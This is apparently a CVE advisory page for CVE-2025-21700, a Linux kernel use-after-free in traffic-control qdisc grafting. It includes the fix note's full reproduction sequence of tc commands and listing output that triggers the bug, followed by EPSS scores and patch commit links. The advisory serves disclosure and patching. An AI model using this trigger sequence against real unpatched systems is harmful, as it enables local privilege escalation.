Description

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc p...

Classification

CVE ID: CVE-2025-21700

Affected Products

Vendor: Linux

Product: Linux

Exploit Prediction Scoring System (EPSS)

EPSS Score: 0.04% (probability of being exploited)

EPSS Percentile: 15.83% (scored less or equal to compared to others)

EPSS Date: 2025-03-14 (when was this score calculated)

References

https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f

Timeline